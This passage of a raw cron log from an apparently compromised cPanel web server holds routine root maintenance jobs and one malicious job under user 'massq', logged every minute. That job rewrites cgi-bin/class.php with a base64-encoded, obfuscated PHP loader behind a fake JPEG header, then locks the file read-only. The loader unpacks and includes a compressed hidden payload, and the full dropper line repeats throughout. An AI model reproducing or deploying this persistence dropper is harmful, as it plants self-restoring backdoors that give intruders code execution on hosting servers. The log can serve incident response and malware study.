QqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:32:01 server CROND[5041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:32:01 server CROND[5042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:32:01 server CROND[5043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:33:01 server CROND[5427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:33:01 server CROND[5428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:33:01 server CROND[5431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:34:01 server CROND[5800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:34:01 server CROND[5801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:34:01 server CROND[5802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:35:01 server CROND[6189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:35:01 server CROND[6190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:35:01 server CROND[6192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:35:01 server CROND[6205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:35:01 server CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:35:01 server CROND[6208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:35:01 server CROND[6203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:35:01 server CROND[6207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:35:01 server CROND[6204]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 02:36:01 server CROND[7151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:36:01 server CROND[7152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:36:01 server CROND[7153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:37:01 server CROND[7533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:37:01 server CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:37:01 server CROND[7535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:38:01 server CROND[7899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:38:01 server CROND[7900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:38:01 server CROND[7898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:39:02 server CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 02:39:02 server CROND[8274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:39:02 server CROND[8277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:39:02 server CROND[8276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:40:01 server CROND[8650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:40:01 server CROND[8652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:40:01 server CROND[8655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:40:01 server CROND[8654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:40:01 server CROND[8653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:40:01 server CROND[8659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:40:01 server CROND[8658]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:40:01 server CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:41:01 server CROND[9569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:41:01 server CROND[9570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:41:01 server CROND[9571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:42:01 server CROND[9934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:42:01 server CROND[9935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:42:01 server CROND[9936]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:42:01 server CROND[9937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:43:01 server CROND[10362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:43:01 server CROND[10363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:43:01 server CROND[10364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
